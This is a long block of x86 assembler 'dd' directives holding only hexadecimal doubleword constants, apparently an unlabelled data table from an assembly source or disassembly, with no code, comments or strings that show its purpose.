dd 0C4C08B70h, 8D9F1DAEh, 88888E8Ch, 0E6564E6Fh, 689E04DBh
dd 5D1EE537h, 34FA9140h, 49E09121h, 0E4468743h, 0F66FC522h
dd 24D72A02h, 605811DDh, 0BEC8CA8Ah, 0B6D0BBE2h, 0AC658AE9h
dd 34839C1Bh, 5B7DD7FAh, 0EB839C77h, 0EAEB0155h, 0E95FF89Bh
dd 27085008h, 57B47DA2h, 5DBEA8D7h, 0A9AB4F47h, 51762441h
dd 0A9265F46h, 0B7395755h, 31C2E082h, 9A9D12F7h, 4C427A94h
dd 0CBEB716Fh, 92DAEFC8h, 0F16EF0FCh, 73FDFC16h, 0C8256AE7h
dd 181109B3h, 0E877B8B8h, 8E45BCBBh, 766A36AAh, 0F5D8B249h
dd 0ED899DC4h, 2A9775C3h, 2E524886h, 9B6059F1h, 173439E4h
dd 88AEA7E0h, 0C3DE23C5h, 888A05FDh, 4F8E26B1h, 949C4B7h
dd 0A642D174h, 4B945FF1h, 7B588FFFh, 0D8438BBFh, 758D9B22h
dd 1209612h, 9741C845h, 0FE68423Bh, 66D7EC42h, 723863FDh
dd 0BFCA0178h, 8D98EAB0h, 0C28A58C6h, 0F635675h, 1DD2EBB6h
dd 87D49620h, 99F80C50h, 49DBBF9Ch, 0C6599816h, 0D26A06D9h
dd 0B3157078h, 4544C401h, 0FDEE0FE8h, 0CC3EA191h, 6343E203h
dd 0FFED138Ch, 0CB03B62Dh, 0EA32D84Ah, 6691442Ch, 7065B4AAh
dd 0DE2FFAEDh, 0CB377E46h, 315034D2h, 91743F3Ah, 0C778F969h
dd 0B15E5DC5h, 37209929h, 0F1AEE064h, 0A66F080Ah, 2480E95Eh
dd 0BB710B05h, 8B49D4BAh, 0F6DA711Bh, 0FEF978C7h, 0E1DF460Dh
dd 0DE6923E8h, 81AE2603h, 978B73AEh, 0CDE5B082h, 5DFF59ABh
dd 54BB949Eh, 0B7E3D019h, 693A00EAh, 0F14A806Bh, 177EC14Ah
dd 56615F34h, 0A50A9794h, 0D217B923h, 3123013Dh, 26EFA94Bh
dd 81F2AB52h, 0DD19B4DDh, 596A8593h, 9A4C3F65h, 44A35CF5h
dd 8EEAAAE8h, 0E51AB02h, 0DFBCF62Eh, 51D731C5h, 8C332EEBh
dd 5FB6E007h, 0BF9442CFh, 0EA61E81Bh, 48F783Eh, 0FEBF6766h
dd 3A6A0135h, 0CDD61505h, 0BF956C08h, 981786CEh, 18BD9D0Bh
dd 872BD6E8h, 340B011Fh, 0F4453FF1h, 72F78624h, 0D168E404h
dd 8C7B620Ch, 4C18F256h, 740836D4h, 0AA8B007h, 2BBF12C6h
dd 0DC31AE4Eh, 4F565DCAh, 9E32BFDDh, 0D77F7E34h, 6D8D5153h
dd 0D134C26h, 970BC1D0h, 879E7AC2h, 70890EA6h, 0A2E83A74h
dd 0A9B2BA62h, 91F31C27h, 7681F5EAh, 6A8BB20Fh, 0B990E756h
dd 0FDFE136Ch, 0BD36C51h, 6A77FD64h, 7B692B8Ah, 0B3C04715h
dd 2FAFC538h, 2F78C1BFh, 2C46D098h, 71048142h, 44A9A53Dh
dd 8570B2D3h, 0D3C53B7Fh, 99DB52Fh, 9FAFADF3h, 0E438C703h
dd 4940CA54h, 0C7F6B255h, 0CA77CBC5h, 0A35A067Dh, 925EF71Dh
dd 0DE761CA5h, 79C05EB8h, 9462C907h, 0A097B427h, 7990C273h
dd 4BAD3E4Ah, 9A03B700h, 5A09148Bh, 163965BFh, 0D2CBB111h
dd 9C58EF1Dh, 58FC06E8h, 2BEF7251h, 792094A4h, 0D63B1E95h
dd 0B2E321BDh, 54459A01h, 47ED1175h, 4E5588E2h, 0CC1B7E95h
dd 0BCDE9216h, 65A24029h, 9B65DEC3h, 8EC799DDh, 397FCEF0h
dd 39B148C3h, 4325B02Fh, 1FF30AF9h, 54C79943h, 0A1D54DC6h
dd 0B8E6D04Fh, 0FCD553F6h, 7C25CE92h, 0F66C26E5h, 20202085h
dd 53E1ED78h, 711C7A60h, 213C59EDh, 0E068CD37h, 7D19D637h
dd 0FDB7A46Eh, 373F25Fh, 59B51421h, 0EABC09Ah, 73420972h
dd 0D581A2D6h, 9CE6B05Ch, 0FF127F12h, 4797908Fh, 75DBBFABh
dd 0B6E98F05h, 0F2CC5359h, 0F4FC78CDh, 8D11A124h, 9BA9D630h
dd 0FB0BB803h, 0BD02C5Bh, 0D601315Ch, 0C79BC005h, 0E565EFC9h
dd 0EA978574h, 0FE582F8Fh, 20AA29A6h, 1292B66Dh, 36074BE0h
dd 9C64A4F1h, 17AE60A1h, 4FF56680h, 0CFD943C3h, 0AF44A922h
dd 8D4DACD5h, 0CE49E236h, 91DEA65Fh, 2E7DCE8Bh, 17C3C7EEh
dd 0CCCE4C6Eh, 548852E1h
dd 10913B3Fh, 0FAC0612Fh, 504080E2h, 3C6C637Eh, 0C0B1DC2h
dd 2C20641Bh, 0CAF5304Eh, 96D6A582h, 9C839331h, 0F62C6524h
dd 837EE38Eh, 85102C08h, 0B5DF3DBEh, 0F51C7777h, 0DA32797Fh
dd 0D73C6AC8h, 0F71B1A04h, 0F65B7B17h, 6332D6h, 60E31704h
dd 13FD4AD9h, 0E35D7985h, 0FB02C83h, 75F489C2h, 288E5768h
dd 16ECA47Eh, 0A1042C3Eh, 920924A1h, 607F6CDh, 54DC59E4h
dd 709D8D02h, 57D3F2BFh, 0B51B7916h, 8959D77Dh, 0B10AC6C9h
dd 0D1D8E32Eh, 8C647D9Dh, 0C3334958h, 0E788B3C8h, 0C518FDF8h
dd 0C0DEADECh, 0F4EF0BB5h, 7F325712h, 35DA7177h, 66517010h
dd 0DA6D77EBh, 0FE72AFF5h, 0B4CD089Fh, 4AB35B97h, 8FBACDD9h
dd 5828D7Ah, 58AE7B54h, 101316FAh, 19F89AAh, 86B70D63h
dd 1AD1A4B9h, 2248A9DBh, 6351244h, 0ECC7D468h, 0FE67A023h
dd 0B1DDD923h, 2D494E00h, 0DFC7C989h, 0BA45AB0h, 9B83FAE2h
dd 0C3E72B89h, 80BA777Fh, 0A7106ABCh, 4A0170B8h, 0F8CDD057h
dd 52FCD8CCh, 30B13A87h, 7657B1Ch, 8E73C169h, 6BB36718h
dd 0F187252Eh, 5C2E0E75h, 0F6F64156h, 32D1ED75h, 6E0F584Ah
dd 0FADDA41Eh, 4D268C70h, 3FB756Ah, 77B6E18Dh, 210C6FDBh
dd 3A08E752h, 3C659D7Eh, 0DD5AAA3Eh, 0DC958C4Ch, 0BB635863h
dd 0E108A041h, 0C975037Ch, 3C2B30CCh, 0F62113D4h, 2E730BB6h
dd 971BF9C8h, 6BD190ACh, 0DD9AF19Fh, 1F5BC0A6h, 5CC143D0h
dd 86B402BFh, 0C5865949h, 42F9E738h, 2562EDh, 8CD2A107h
dd 5BCE25EAh, 0E00F77ACh, 0DE3547BFh, 0FA317A76h, 206DB41Eh
dd 41390EE1h, 943E2FB7h, 18254F41h, 0CF0A91C1h, 748D8F1Bh
dd 4559643Eh, 56824D14h, 0C01DDF71h, 94173F74h, 0D56C2913h
dd 3C01ABE0h, 0E6CACBB0h, 2CE5EE81h, 4F367C39h, 0AFFBBFE6h
dd 0CCD646FEh, 2D560041h, 5E80C268h, 50AB3CD2h, 3ED002D1h
dd 0E53E8E1h, 80190883h, 6C0E0C58h, 0EB792CBh, 0F44BB825h
dd 83BCB6FDh, 0F7813B21h, 0E91D9A65h, 87EB06A4h, 0B44D4E81h
dd 7C95B262h, 73B50A62h, 29DEB82h, 0C9D03A98h, 1C97CD8h
dd 37ECDE48h, 3F5881F0h, 3B5E680Bh, 3F8A4254h, 29C2086Ch
dd 0B9B1604Dh, 7C41F79Bh, 0CBCE6775h, 6F2D68AFh, 0FB31D562h
dd 0A6C5586Bh, 2D0A3232h, 6E3C2F2h, 894F2D8Eh, 6E14A56Eh
dd 9AADA94Ch, 58D5F494h, 24CBE3B8h, 6B1233E1h, 0FB16982Eh
dd 8697D22Dh, 892D4F1Ch, 0A2E05E7Dh, 20C5B952h, 74FEEA46h
dd 0FD79D441h, 0FE113C46h, 4089AA42h, 1413F3C1h, 76D20032h
dd 5F7FEBE5h, 22DB23ECh, 0E70E66A8h, 92D61DCCh, 0D744FF3Ch
dd 92991C18h, 4526EEDCh, 2144B42Ah, 0A7BD9613h, 39690C94h
dd 0B77C3FEAh, 928E34BFh, 0D071BBE7h, 0E9F0A7CEh, 11203B24h
dd 25E008B9h, 0DB9B2875h, 0AC46DAB4h, 80851574h, 1B0C5061h
dd 24C5310Ah, 3558AE95h, 46AC7B8Ah, 3E2A226h, 9A6DB3A0h
dd 1F7921B3h, 2E2E1312h, 2C978E89h, 0C623D9DFh, 8206FDA0h
dd 975AAC83h, 0BBCE307Eh, 81AB9A78h, 0D6DFD326h, 78C7D5ACh
dd 709A21E1h, 0E554657Fh, 55179B49h, 766731Fh, 1D28418Ah
dd 3B0D569Ah, 0A4088ACCh, 95152FBDh, 6B2BE8F1h, 93C77062h
dd 1058E507h, 0B30B05Dh, 1385F0C2h, 1A8BBB9Ah, 4D0DD9D9h
dd 71782752h, 0CC914CEFh, 44766993h, 0AD66EAB2h, 8AB02635h
dd 9A14C06Fh, 8DDE1h, 0B3A76h, 0D5E4884Eh, 0DDD82E39h
dd 0E167B39Fh, 0BBAB68ACh, 1BDFE4CBh, 8F7397B2h, 241648D5h
dd 0ADFAAB48h, 83C711B0h, 88DF32B0h, 5120B7EFh, 0B83B84F7h
dd 0C147B6C9h, 0A7B98989h, 40C3CDF5h, 0F1603322h, 0FB3EC64Eh
dd 5D449D27h, 5E54A24Fh, 3DFD6A66h, 78AD7CF8h, 2A010685h
dd 69FE101Bh, 686ED3C0h, 0EF9E84A9h, 2CAB12DEh, 591D59BAh
dd 3DE92F32h, 436499E9h, 49F50F1h, 0ABFB4D32h, 0AEF48AB6h
dd 5536F3Bh, 0D0C97832h, 77DC974Dh, 0EAF5EFD2h, 0AE7CAFCDh
dd 0FAD7A942h, 0ED5C373Fh, 5EE33E41h, 8C48BDB1h, 51F23505h
dd 43571CD3h, 0B9461909h, 0E4C09298h, 3440D883h, 7E47C688h
dd 2B31E3C1h, 4B2B62FDh, 6F802600h, 0B629522h, 0CEDBC002h
dd 939C8991h, 91368932h, 30069EDEh, 0EA7135B7h, 4042B7D6h
dd 0DC188261h, 3F20DAD1h, 81EB51ACh, 0AE7B7F0Ah, 4A772984h
dd 97B228F5h, 0C6B6EBh, 0BFDD3D17h, 762525F4h, 0C4DC9B04h
dd 30FAC904h, 65E7E529h, 453E44DDh, 515BE6B6h, 0BF68C828h
dd 0DC7210AFh, 0E009625Bh, 5B49130Dh, 6032455Ch, 0A8E49B84h
dd 0D494067Fh, 7C97726Bh, 884C9E14h, 5A2C128Dh, 5B168998h
dd 8089EF85h, 2EFF6BCFh, 83C1C396h, 0F310FE54h, 108F8C07h
dd 0E1192103h, 12219360h, 7B3E4F1h, 0F782C501h, 0EBBC76A6h
dd 91131D1Ah, 92BF1F55h, 13EADFF4h, 254F1E87h, 48E0B8F5h
dd 4B0EEE8Ah, 9EDD5DDh, 846670D0h, 42973537h, 0DE050938h
dd 0D936F94Bh, 9BE3D352h, 0D295B130h, 0B41AAC0h, 9775BC7h
dd 0AAA53B5h, 1AC932EBh, 0C8906280h, 7F5881A2h, 474ABC76h
dd 0D82AA0Eh, 4A1923B1h, 0E69E6929h, 51D669BDh, 70CEA307h
dd 6E7BB013h, 0EB2A4021h, 4534D3ADh, 0A4C50F06h, 0E1700152h
dd 0DC7E042Ah, 5633A88Fh, 8DAD7B46h, 9C5FDE53h, 2D139C3Dh
dd 7E50C2A6h, 1C86E15Eh, 88A2B2A8h, 0DF607FE3h, 0A565CC15h
dd 3AD9C121h, 9B4B02E2h, 4B6D486Eh, 0FF0CDEBDh, 4C3C46EBh
dd 0BF9E782Fh, 8CFD3CDBh, 98F307D2h, 4B212D7Bh, 7692C063h
dd 3BC7512Eh, 0BB44B31Bh, 3529DD91h, 7BEC979Eh, 8272AB86h
dd 36E83E55h, 579EFF74h, 964A7CD8h, 8EE7C56Ah, 33E3BF79h
dd 1E964F3h, 0F1820F8Ch, 0C8541822h, 0B7A9F245h, 0BC0EC183h
dd 0C6CEE325h, 1DAEC25Fh, 4D1CC760h, 48A84AC0h, 3C521CFCh
dd 2ADE43D6h, 0C379D05h, 6658DB6Ah, 0AA01B240h, 0F9371A4Ch
dd 0D18C49DDh, 0A2B3C54Dh, 32F3D236h, 2026D6Dh, 0F5EC6D4Ah
dd 0EDBA7814h, 47030C00h, 441C0E3Bh, 7EA472ADh, 0BF152C04h
dd 9683C619h, 9699A302h, 7E465AA3h, 0DD5FC73Fh, 4B7F9E46h
dd 0F15A859Ch, 206188CFh, 0A6CEAB19h, 51D284E5h, 12209DADh
dd 23CF6E13h, 2DD102AFh, 357E82D9h, 0BDA8C23Ah, 0C0C863A0h
dd 6406DA09h, 0D975C664h, 42EF9808h, 81735A62h, 115FABB9h
dd 7E58866Fh, 56122A7Ah, 42BB2C5Eh, 0E56126BBh, 1E31CB7h
dd 0B66D5781h, 0A4C5194h, 0FDD3AF82h, 77E72871h, 0DDACF751h
dd 0A847762Bh, 0CA377517h, 5AF0CE6Dh, 34558E5Eh, 0DA4394DBh
dd 0C939E49Ch, 6D46757h, 4FA8DA2Bh, 2C4F7F13h, 73421BDAh
dd 20D94DC9h, 859B1497h, 0EA48A167h, 0E31BB6AAh, 0A16EFF34h
dd 950DB08Dh, 237E09Fh, 0AAD87A02h, 28AF2DE8h, 34288D4Ah
dd 1BF153CFh, 3A078AFBh, 4F2B0288h, 80E48FE5h, 0DA3E01Fh
dd 0DCE1CDC7h, 1B619668h, 0CA592578h, 0F4603680h, 9CFBD7FBh
dd 1A613C3Fh, 0FFC80C06h, 5F0C6E4Eh, 0E0CF664Ch, 270679B2h
dd 7D34E531h, 0D39C0E93h, 9E1E3875h, 9F7BAD69h, 0E1E19F2Fh
dd 2ECA23BCh, 1A259FA7h, 7FCF92E4h, 2516B8CBh, 9590633Fh
dd 0D19B4541h, 852E2CC3h, 11237AD5h, 95D83659h, 0F9F5ADDAh
dd 0D4FA107Fh, 495EA90h, 0DD7AEE78h, 0D36B1BB6h, 0D6927A63h
dd 87D4DFDEh, 0C5043C4Ch, 458AA3CFh, 48A58144h, 0F5C83E4h
dd 0F09C6107h, 45726A11h, 0F21E0C98h, 37CEF503h, 6C6E1B0Eh
dd 9EE9C2D5h, 7D088511h, 0D6CAE4BAh, 0B23422D6h, 4B92B6EFh
dd 0EF4AB4D5h, 0D269DCE3h
dd 74F188A1h, 6837D9DBh, 0A9BEED38h, 0A0779831h, 0B5CFF4E3h
dd 0F96F29B7h, 0A662DD4h, 4FB68931h, 63C453A2h, 18FBF1E3h
dd 879775AEh, 33912024h, 350BF369h, 0C637C51Ch, 0B1D4E7E2h
dd 0D3F042C4h, 6C5E8989h, 2E4E16DEh, 0D1C9B417h, 0FC36BFF7h
dd 2307BC57h, 0AED69616h, 0C5A02F01h, 59FB31D8h, 7DB9E5E7h
dd 6B73FEC2h, 0C6DE3D6Eh, 0A0BBD4E9h, 9D0B55C6h, 7EF976F1h
dd 85FDC068h, 0C17E12EAh, 2EC21E86h, 80785880h, 20CD10F0h
dd 37117588h, 8D4B932Ah, 2393C8F6h, 0AEE9272Bh, 0B90BFB4Dh
dd 86E123Ah, 0C10A448Bh, 0BD1B35CCh, 0DFF022CBh, 51DDC1CCh
dd 0C17799ECh, 0D6CE6C83h, 9C4CB86h, 788F73F8h, 0A054A3BAh
dd 603ED369h, 45A6409h, 4B05CC1h, 26784978h, 0A309E360h
dd 0CA7281F8h, 648A6467h, 0B81AC953h, 8D4E4C18h, 5029C670h
dd 67AD831Ch, 23E2DFD8h, 58609C68h, 76223E4Bh, 0E5ECAE8Fh
dd 0FC700ACh, 94412A69h, 582139DCh, 0BC51A33Ah, 69351EABh
dd 4C78BDC6h, 0B459107Fh, 6C809F34h, 0E807CE84h, 82A337AEh
dd 9163A71Fh, 911B6648h, 0B6BA6D6Dh, 0F3B334A9h, 26FBFB14h
dd 0E6C1EBB2h, 0A2D9B6F4h, 0B8559DDFh, 0B9A84139h, 5AA200CAh
dd 6159685Dh, 3DCFF7B5h, 7717A083h, 0DF7F44BDh, 0D021E76Ch
dd 981B83D2h, 0D9076782h, 0ADE83FE3h, 7865F9Dh, 0CF87DAC5h
dd 0E5C0EF3Ah, 36DF6883h, 5160FA03h, 208604FDh, 8D8BABFAh
dd 76611BBBh, 28F654F7h, 0BD582A43h, 247524F3h, 79B8CC3h
dd 58037A4Ah, 426A218Ah, 89ABE14Ch, 0CFDEFF74h, 21DA6F96h
dd 0CCB84C95h, 0A74740FAh, 6A516DB6h, 0F7C81C31h, 7A824600h
dd 0BAAD5552h, 0BE657AB2h, 0F9823518h, 59EAA62Eh, 90E8DC8h
dd 92E732FFh, 0C9402E80h, 210B761Ch, 0FE847106h, 7BE669E6h
dd 2C6DBD4Fh, 57B80268h, 648A437Dh, 8306874Ah, 94AFCB2Dh
dd 0D32B0E53h, 9AF2EE0Eh, 0DC14BC5Ah, 0A8B8A3E2h, 0E432CE3Fh
dd 19D71C08h, 88D6F3FBh, 0C8671229h, 0E217E8F3h, 57DD5EF5h
dd 0B646207Dh, 5787CB50h, 9D4ACAEh, 16220B1Fh, 0CB0860Eh
dd 316A50C9h, 0EFF4819Fh, 8CA44FFCh, 0C3E08CA0h, 0E485F41Ch
dd 0E2B6F0B4h, 0C1256025h, 2F0952C0h, 3914D7D6h, 42FE3209h
dd 1BBA6480h, 0D40AB9CEh, 4BAEC4C5h, 8131E0CAh, 0C3604207h
dd 0CAF37615h, 0ECAC6429h, 6F71728h, 0BEC47693h, 0C84D99CBh
dd 94DA8A00h, 0BEFF0CAh, 799582E5h, 0CCB533D8h, 198100C3h
dd 92754734h, 0DB6F3641h, 0BB729BEFh, 0CD8EC8D5h, 5D961A1Fh
dd 0ADED6049h, 9FE3A5ACh, 0F5EC3E60h, 85DB3A60h, 0D0B612Ah
dd 0D039A450h, 19285178h, 5D2FBE42h, 71B86343h, 0B521413Ah
dd 0BFBB3A05h, 6F15BFA7h, 0D4452CAEh, 3DD8EC04h, 0F27008Eh
dd 7966F29Ch, 90DC497Ch, 921420E0h, 0AF48B761h, 30B5F5EBh
dd 340C2CCh, 0C81F4F39h, 98029364h, 5FA694CCh, 69A8BD83h
dd 0C7004141h, 42B55D05h, 614916Dh, 6EAE14A1h, 0E72164A2h
dd 96831401h, 132F2B7Ch, 6E29A053h, 0C1A379EFh, 35902EABh
dd 64BA0966h, 0CE4A8851h, 5AAE1474h, 5F0D05EFh, 5DDE6B4Fh
dd 0A21FDEC4h, 83A10FB1h, 0BB734707h, 0F172B21Bh, 0B1C96139h
dd 6CA8D8F4h, 0DF7598B9h, 0E1E496C1h, 0BC78C7DAh, 52463582h
dd 11D5F8D1h, 53042CA6h, 0A42FC7B8h, 36C092B6h, 0A6A3E66Dh
dd 0FFFE6D86h, 6FB7282h, 0A6E040E0h, 0B7EFE879h, 0ECB3C847h
dd 91C8BDB1h, 0AAE54D22h, 0FE650C1Dh, 5BD22612h, 66970193h
dd 0F16FA6B7h, 96595F2Dh, 1D385456h, 0A038DB29h, 0A4E548E7h
dd 5DA3E1F7h, 419C2436h, 9A61310Ah, 9C34D04Fh, 0F3842DD8h
dd 2C38E13Ah, 0A317295Ch, 711155C9h, 791EC17h, 922513C8h
dd 0D646FC59h, 26B340B4h, 0CE91ED79h, 80048556h, 14BD2082h
dd 0CDC8BA3Bh, 0DEECDD16h, 0CA1B7ECFh, 0CF0928B7h, 756A05DFh
dd 0C69A3648h, 0F52B3A8Ch, 0DBBA33CAh, 0E1DFA4ABh, 4BDC9B72h
dd 471D81F1h, 0ED3CC97Bh, 0C2E09014h, 34F7B7D2h, 0D45977A5h
dd 378B28E0h, 4D51E289h, 0A65ABBEAh, 1CE6046h, 4D49950Ah
dd 0DDC0DF75h, 8734231h, 0E5980008h, 314D262Ch, 6074E079h
dd 5F02FF4Ch, 0C580BDA0h, 99B6C6BDh, 560F7EE7h, 1E63E47Eh
dd 18C7B6CEh, 0C671E899h, 828F9437h, 1D294C21h, 2372EF7Fh
dd 0FBC50C6Dh, 788C5A6h, 6604F7BEh, 88A6F934h, 0F070E37Fh
dd 0E40D385Bh, 0C9ECD062h, 150F858Bh, 4E6140F5h, 2A823581h
dd 0E512242Fh, 0FA0F0DD1h, 623CA81Fh, 601DA184h, 3452120h
dd 21EB07BCh, 6DC2F8FAh, 0D4F0D71Ch, 3DAA14FDh, 544FAF6Eh
dd 68705EE1h, 0A2F7CF1h, 34E6F73Dh, 0E9CDFACAh, 5B417F6Fh
dd 0AB4CC46Bh, 70D70679h, 3114B889h, 3737F9B4h, 88EFA671h
dd 70B1241h, 0DB6EB60Bh, 53AB3922h, 6EF40C83h, 0F80829EAh
dd 9B3B35C1h, 6E192C6Bh, 777F5BCCh, 928FAEB3h, 0CA56BB02h
dd 0A7B92CAEh, 0CB00B6A5h, 8DCA9D1Dh, 407B8141h, 76D1D03Dh
dd 5E21CC56h, 0D78DB301h, 41B90A3h, 1351C399h, 0CC8C9E80h
dd 864F41EBh, 382C2ABFh, 631DAC35h, 4F59C079h, 0F34F3DE2h
dd 0D207C51Ah, 51DE6B11h, 0DA7311F1h, 0BEBFD1EBh, 0A73DD067h
dd 50392E73h, 41B80610h, 0AE200064h, 0CC0E33C1h, 2345C380h
dd 0E0E19B8Ch, 62984D3Ah, 0C1E444DAh, 15F777B0h, 30B97B95h
dd 0A31EE981h, 5D1BB9EAh, 3CA6493Bh, 9EF8D27Eh, 8F121E7Ch
dd 0E4698ECBh, 98CA5DCDh, 7C636681h, 2A303AF2h, 20533A28h
dd 7A05BFAFh, 397D4AC6h, 0FE94D7A1h, 0D5D85CACh, 6AFCA6C4h
dd 0A33F5B29h, 0C97AFA7Dh, 480B8218h, 4D00B70Bh, 9EC07086h
dd 0FD7AD2F0h, 87A114CFh, 57A7653Bh, 425AB045h, 3ADDE233h
dd 2A65FA14h, 5B1DA231h, 0E2F1C6DCh, 0E22C4326h, 0FE3C84FEh
dd 316B3942h, 0C24C9C42h, 0BB249B07h, 57FA932Eh, 1C6D4E6Bh
dd 0C52880B1h, 0C2714C80h, 31D8864Bh, 2DBD4384h, 0CCD32262h
dd 0E6910332h, 0FD88047Eh, 0BC3282CFh, 2C8B1B32h, 0B04E40D6h
dd 5811AF9Eh, 8182B8CBh, 0C39B848Bh, 0D86D2FACh, 86DC7A3Ah
dd 93D9A1CDh, 0C830B2FAh, 1677600Eh, 0A4A4DA8Ah, 26DB8A8h
dd 0A3216FCCh, 29F1896Ah, 5DD0E51Dh, 4A696122h, 6B1A82ABh
dd 7A49AABBh, 396FC9FCh, 0A8F18721h, 0F720E741h, 0AC386969h
dd 6F742FD2h, 0B03A1DD5h, 2B997A3Bh, 829E00BBh, 0E1132ADBh
dd 93B8EDDh, 0FCE830D1h, 61E9D10Bh, 0AF8F6D38h, 3C6961BBh
dd 3378706Bh, 68FABDD8h, 0DF4C8E7Ch, 0E87153Bh, 1DDF7A86h
dd 0D455F602h, 0C80224F1h, 0A383E4B5h, 4FD504E7h, 9989D7ABh
dd 0E2C2BBB9h, 14D054B1h, 606BD3A7h, 4EBADE56h, 0EECF94E8h
dd 1A7E9519h, 883D0DE9h, 0B50D83DAh, 0FAD01F00h, 0CC912669h
dd 0DA87D660h, 86FC5C04h, 47731EC6h, 0A1C52079h, 39A06712h
dd 166C0CD7h, 98DDDB5Bh, 75A3767Ch, 355B4CFDh, 0C22F0982h
dd 0D7B489D6h, 0BEBB8E59h, 4388AA38h, 76FA7A3Fh, 0F1457371h
dd 0E1FC6A25h, 5B80016Bh, 123EE86Ch, 91C7F2CDh, 8060E7FAh
dd 0A18AC758h, 5782A33Ah, 0CDC4CC4Fh, 0B030D76Eh, 5B6E148Ch
dd 0CF403A93h, 0F21AD77Eh, 0EE62F705h, 0DD64F68h, 3E9FCBA6h
dd 0F9396AFCh, 0A7C13DAh, 0A1A4229Eh, 29CE918Ch, 0C50A4DC0h
dd 0F877FA8h, 2EE67A61h, 1B668C89h, 2DC44A9Bh, 0B3EF80C2h
dd 0D4B3D990h, 0C655FFB1h, 0E8A8EDF8h, 0B96D2C6Eh, 0CF0AEC7Dh
dd 3296301Ch, 0A162BA2Bh, 15D6F79Bh, 0B92C5DBBh, 77A660E4h
dd 1FBA1642h, 7145E55Bh
dd 298F99B1h, 66CD2E01h, 4B142AF7h, 463EEAC0h, 0A24E5056h
dd 0A15BA448h, 0D33564BDh, 0CC90372Bh, 6B39EF04h, 0CE58CBF5h
dd 920B1696h, 755296C9h, 349D841Fh, 0DD603B94h, 16D37421h
dd 0E42AB6CCh, 0DA3E163Bh, 0DEE4FCA0h, 5FECAB5Eh, 0E3874590h
dd 47636A25h, 0FBE26280h, 0E5F0667Ah, 9788CE04h, 0C7328A69h
dd 0D4F09D7Ah, 5751A4C1h, 1FAB9216h, 5EB8B568h, 776B9807h
dd 7367B38Ah, 0E1C974D6h, 933D1C58h, 1E1B3AC5h, 0B6D3C7E3h
dd 0E9892CC9h, 2CF64F85h, 0AF332BB4h, 404E12E8h, 19FDE0C5h
dd 0A7D072ACh, 43C59575h, 9BF0D25Bh, 26A3295Eh, 89259A3Bh
dd 9295BC15h, 29D2F264h, 838FA179h, 0DD696715h, 2380C2E2h
dd 924982h, 1EC4EEDDh, 7E7BC9F9h, 6F37888Dh, 0EAB5F46Eh
dd 5CA70BDh, 0CF2E754h, 1C0B6F58h, 0ADD1AC79h, 6851A15Fh
dd 42F778EDh, 0E2D326F8h, 0EA5B4F81h, 86A42846h, 228A9CFCh
dd 0B9043AFAh, 280455C9h, 0D8CCEC4Ah, 0AB38DBC9h, 0C9CED579h
dd 15E6A9ADh, 0DFFFE08Dh, 0E5A9D721h, 0E062FF74h, 6647D5D3h
dd 0EC4C346Eh, 67809823h, 0E267DDE4h, 0DEF09628h, 54ABEFFh
dd 9ACEB274h, 595327D1h, 0AF52C750h, 0DD3E09Bh, 456703A6h
dd 0C148DCD7h, 0B428AE40h, 0E4A4B484h, 0D601C831h, 97DE2C3Ch
dd 81B8E876h, 98384742h, 8DF61BA9h, 0B5270C9Fh, 0AADEE840h
dd 1CCFB4AEh, 0AAD2014Eh, 0DF7301BBh, 0F178DB3Bh, 19CDE128h
dd 88B6B92Dh, 39DEBA70h, 0C787512Ch, 47680057h, 0C6C4F146h
dd 9A46101Dh, 0E1346E7Ah, 0BDEB1CF9h, 486720D9h, 222C1227h
dd 5D6342E1h, 0D0708216h, 0F85B3294h, 0C8FF910Ah, 0D98408BDh
dd 4BF74519h, 0E0408397h, 6ACA39AEh, 9A867086h, 0B2C5FE82h
dd 96EC0BFCh, 8B1FE2C5h, 411EDFCFh, 9007AB60h, 2CE987ECh
dd 0F9147ADDh, 0F245F541h, 11D74FA8h, 5AFF20EEh, 0E1DEDE99h
dd 63B75E11h, 0FE307EABh, 250B3558h, 2A5AA2A2h, 5E40A3F6h
dd 3D673CB8h, 9F0A1050h, 5E27D820h, 6D2A8052h, 0D6242920h
dd 2A91D1ECh, 0DF192B05h, 9C803DE1h, 81A0C857h, 34C451BFh
dd 0FF86A55Eh, 2A8595D4h, 8414B3BCh, 0EB1898ECh, 0D850E28Eh
dd 2E287DDFh, 0CEC82C01h, 0A675921h, 9B1ED1B9h, 0EC790E64h
dd 9A5763A9h, 62E5A4A1h, 0D638C9Eh, 0E23FB9B2h, 0DA6AD8F4h
dd 0E012D3A7h, 2DB5D8BDh, 8AF1D64h, 1533C569h, 48DFEA1Dh
dd 0E313A4A3h, 2754DCA6h, 0FE36647Fh, 4F3DC34Fh, 0D33158A7h
dd 0CCDE58FDh, 54F8BE53h, 57A703C7h, 25D28425h, 0F5F2276Fh
dd 4D7659C9h, 6455E99h, 325613CBh, 72956532h, 8B3F161Eh
dd 4D6E0C62h, 0B3E8B7EBh, 1A4D2F5Ah, 0E41ECE43h, 0A39BCE2Eh
dd 0C61B6EA4h, 237DB715h, 97B75FCFh, 5C479268h, 32CE8B96h
dd 0AEBB3B49h, 0D3E9AF0h, 97CC5806h, 173A921h, 4B197CA3h
dd 0CB0A7AB7h, 17044E15h, 0B0D01B17h, 7086CF79h, 0C5B283Ch
dd 49FBD7F8h, 54007410h, 0FE829FDh, 0F74FB1ECh, 0AA93F6B1h
dd 86067075h, 0DAA06FAh, 0A4C5CC8Fh, 897C5B40h, 2B2F33CFh
dd 52EBE6Dh, 0A3605B5h, 0FAD2CE49h, 121DC835h, 0C1C8FB4h
dd 67090CCAh, 0C5D0182h, 92974884h, 2189316Dh, 736E5495h
dd 2168E897h, 0FFA6AD31h, 6EA2127Ah, 1D4FDA54h, 0B01E60B4h
dd 1812B67Bh, 9A7C7599h, 348F6DA3h, 90742D1Ah, 58A572ADh
dd 0CDBD5BD4h, 23405002h, 1AC37DD0h, 404AE11Eh, 8CDCA704h
dd 9D15756h, 5B3C3C03h, 0DDA39AACh, 0F715295Bh, 0B02F2CD1h
dd 33803D5Ch, 20B6BAA4h, 3D45437Fh, 0DE055060h, 47E49FB6h
dd 0D3D427A0h, 6AC6397Ch, 0A5B56FE6h, 0C6CEF978h, 30FF23EAh
dd 73573BAEh, 2E903796h, 4D916889h, 54801E31h, 4199C5C8h
dd 0F49B24CFh, 0CBC52A23h, 7B3B7D8Ch, 0B8D50BC7h, 96185D74h
dd 71954360h, 92659C90h, 0D33CD624h, 0F5EF4C63h, 0C1A86CA6h
dd 15FF4AFAh, 0AB11A14Ch, 0EAA2346Bh, 0CF9E3E61h, 0A2778164h
dd 33A0F8F6h, 648151CCh, 0A87D8FDAh, 69ACEFAh, 4049048h
